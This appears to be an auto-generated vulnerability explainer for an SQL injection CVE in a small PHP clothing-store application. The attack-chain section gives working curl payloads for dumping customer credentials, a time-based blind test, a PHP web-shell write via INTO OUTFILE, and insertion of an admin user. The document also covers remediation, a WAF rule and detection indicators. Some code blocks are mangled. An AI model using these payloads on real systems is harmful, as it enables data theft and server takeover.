CVE-2026-144912 — SourceCodester Online Clothing Store — CWE-74 · CWE-89
A vulnerability was detected in SourceCodester Online Clothing Store 1.0. This vulnerability affects unknown code of the file check.php. Performing a manipulation of the argument hello results in sql injection. The attack is possible to be carried out remotely. The exploit is now public and may be used.
A vulnerability was detected in SourceCodester Online Clothing Store 1.0. This vulnerability affects unknown code of the file check.php. Performing a manipulation of the argument hello results in sql injection. The attack is possible to be carried out remotely. The exploit is now public and may be used.
🎯 What is this vulnerability?
Vulnerability type:
Improper neutralization of special elements in SQL query (SQL‑Injection, CWE‑89) that also results in reflected output without proper encoding (CWE‑74).
Root cause check.php reads the HTTP GET/POST parameter hello and injects its raw value directly into an SQL statement that is subsequently executed against the application’s database. No:
- input sanitisation / parameterisation (e.g., prepared statements)
- escaping of special characters (
',",\,;, etc.) - output‑encoding before the value is echoed back to the browser
are performed. Because the code runs with no authentication required (PR:N) and the request can be sent from any network location (AV:N), an attacker can craft a request that changes the structure of the SQL query and retrieve or modify data.
Typical vulnerable pattern (illustrative)
// check.php – vulnerable fragment (illustrative)
$hello = $_GET['hello']; // <-- unsanitised user input
$sql = "SELECT * FROM products WHERE name LIKE '%$hello%'"; // string concatenation
$result = $db->query($sql); // query executed with full privileges
echo "Search results for: $hello"; // reflected output without HTML‑encoding$hello into the query enables SQL‑Injection (CWE‑89). htmlspecialchars() creates a reflected XSS / output‑encoding issue (CWE‑74), although the CVE focuses on the injection vector.Because the query runs under the web‑application’s database user (often with SELECT, INSERT, UPDATE, DELETE rights on the e‑commerce tables), the attacker can read or tamper with product, order, and customer data.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All command‑line examples are illustrative – the exact URI may differ in a real deployment, but the mechanics remain identical.
1. Discovery & Reconnaissance
| Activity | How it is performed | Expected artefacts |
|---|---|---|
| Fingerprint the product | Search for “SourceCodester Online Clothing Store” in public repositories, Google dorks (inurl:check.php), or use Wappalyzer / BuiltWith to identify the vendor. | Landing page, README.txt, or comment in HTML that mentions *Online Clothing Store 1.0*. |
| Locate the vulnerable endpoint | Crawl the site (gobuster, dirsearch) for *.php files; look for check.php in the source code (often linked from a search form). | GET /check.php?hello= returns a page with a “Search results for:” line. |
| Confirm injectable parameter | Send a benign payload that will be reflected: curl "https://example.com/check.php?hello=test" → response contains Search results for: test. | Confirms that hello is reflected and likely used in a query. |
2. Exploitation
Goal: Extract data from the customers table (e.g., usernames, emails).
Payload construction – using classic UNION‑based injection (works when the original query returns a result set).
# Illustrative curl command
curl -s "https://example.com/check.php?hello=' UNION SELECT
username, email, password, NULL FROM customers-- -"Explanation of the payload
| Segment | Purpose |
|---|---|
' | Closes the original string literal opened by the application (LIKE '%$hello%'). |
UNION SELECT username, email, password, NULL FROM customers | Appends a second result set with four columns that match the original SELECT column count. |
-- - | Comments out the trailing part of the original query (if any). |
Result – The response page now contains a table (or plain text) with the usernames, emails, and password hashes of all customers.
Alternative – Blind injection (if UNION is filtered)
# Time‑based blind payload to test for injection
curl -o /dev/null -w "%{time_total}\n" \
"https://example.com/check.php?hello=' OR IF(1=1,SLEEP(5),0)-- -"If the request takes ~5 seconds, the injection point is confirmed.
3. Post‑exploitation
| Step | What the attacker does | Why it matters |
|---|---|---|
| Data exfiltration | Use the UNION technique to dump orders, payments, or admin tables. | Direct breach of confidentiality (C). |
| Credential reuse | Extract password hashes, attempt cracking (e.g., hashcat). | Leads to privilege escalation on the web‑app or other services. |
| Web‑shell upload | If the application allows file uploads (common in e‑commerce platforms), use the same injection to write a PHP web‑shell via INSERT … INTO files (path, data) VALUES (…) or via SELECT … INTO OUTFILE. Example payload: <br>' UNION SELECT NULL,NULL,NULL, "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'-- - | Provides remote code execution (RCE) and full control of the server. |
| Persistence | Create a new admin user in the users table: <br>' UNION SELECT NULL,NULL,NULL, 'attacker','[email protected]','<hashed_pass>',1 FROM dual-- - | Gives the attacker persistent privileged access. |
| Defacement / data manipulation | Issue UPDATE products SET price = price * 0.5 WHERE category='Men' via injection. | Impacts integrity (I) and potentially availability if the site is taken offline for cleanup. |
🌍 Real‑World Impact
| CIA Triad | CVSS vector interpretation | Practical consequence |
|---|---|---|
| Confidentiality (C:L) | *Low* – attacker can read selected rows (e.g., customer data). | Exposure of personal data, GDPR/CCPA violations, reputational damage. |
| Integrity (I:L) | *Low* – attacker can modify rows they can reach (e.g., price changes, order status). | Business‑logic corruption, financial loss, loss of trust. |
| Availability (A:L) | *Low* – attacker can cause denial of service by issuing heavy queries or SLEEP() loops. | Temporary outage, increased load, possible crash of the DB. |
Because the vulnerability is network‑reachable, unauthenticated, and requires low skill (AC:L), the risk of exploitation in the wild is significant, especially for small‑to‑medium e‑commerce sites that often run the default configuration.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Move to a version of *Online Clothing Store* where all database interactions use prepared statements (PDO/mysqli with bound parameters) or a modern ORM. If the vendor has not released a patch, apply the code fix manually (see below). |
| Code fix (illustrative) | ``php<br>// check.php – safe version<br$hello = $_GET['hello'] ?? '';<br>$stmt = $db->prepare('SELECT * FROM products WHERE name LIKE ?');<br$stmt->execute(['%'.$hello.'%']);<br>$rows = $stmt->fetchAll();<br>foreach ($rows as $row) { /* render safely */ }<br>echo 'Search results for: '.htmlspecialchars($hello, ENT_QUOTES, 'UTF-8');<br>`` |
2. Workarounds (if immediate code change is not possible)
| Mitigation | Implementation | ||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
Web Application Firewall (WAF) – ModSecurity rule to block typical injection patterns on hello parameter. | ``apacheconf<brSecRule REQUEST_URI "@beginsWith /check.php" "id:20263001,phase:2,deny,log,msg:'Block SQLi on hello param',chain"<brSecRule ARGS:hello "(?:' | %27 | \" | %22 | ; | -- | # | /\* | \*/ | UNION | SELECT | INSERT | UPDATE | DELETE | DROP | SLEEP | benchmark)" "t:none"<br>` |
| Input validation – Reject any value that contains characters not allowed in product names (e.g., only alphanumerics, spaces, hyphens). | Add a server‑side whitelist: if (!preg_match('/^[A-Za-z0-9 \-]{1,100}$/', $hello)) { http_response_code(400); exit; } | ||||||||||||||||
Least‑privilege DB user – Ensure the web‑app DB account has only SELECT on the products table (no INSERT/UPDATE/DELETE). | GRANT SELECT ON clothing_store.products TO 'webapp'@'localhost'; | ||||||||||||||||
Disable error display – Turn off display_errors and enable generic error pages to avoid leaking SQL error messages that aid an attacker. | php.ini: display_errors = Off | ||||||||||||||||
Network segmentation – Restrict external access to check.php if it is not required for public search (e.g., move the search functionality behind an internal API). | Use firewall rule: allow from 0.0.0.0/0 to /check.php → deny` and expose a sanitized endpoint instead. |
3. Detection
| Indicator | Where to look | Example log line |
|---|---|---|
Repeated long‑running requests (e.g., SLEEP(5)) | Web server access log (access.log) | 192.0.2.45 - - [05/Dec/2026:14:22:31 +0000] "GET /check.php?hello=' OR IF(1=1,SLEEP(5),0)-- - HTTP/1.1" 200 1234 "-" "Mozilla/5.0" |
SQL error messages in response (if display_errors is on) | Response body | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax near 'UNION SELECT ...' |
Unusual UNION SELECT strings in query parameters | WAF logs / ModSecurity audit log | Matched Variable: ARGS:hello = "' UNION SELECT username,email,password FROM customers-- -" |
| New admin user creation | Database audit (if enabled) or application logs | INSERT INTO users (username, email, password, role) VALUES ('attacker','[email protected]','...','admin') |
| File creation of a web‑shell | File integrity monitoring (Tripwire, OSSEC) | ALERT: /var/www/html/shell.php created by uid=33 (www-data) |
Set up SIEM correlation rules that trigger on any of the above patterns, especially when they originate from the same source IP within a short time window.
⚠️ Urgency
Bottom line: The
hello parameter in check.php enables unauthenticated attackers to inject arbitrary SQL, leading to data leakage, tampering, and potential remote code execution. Immediate remediation (parameterised queries) combined with short‑term WAF/DB‑privilege hardening is required to stop active exploitation.[🤖 CVE Professor AI Security Engine]
FOFA Query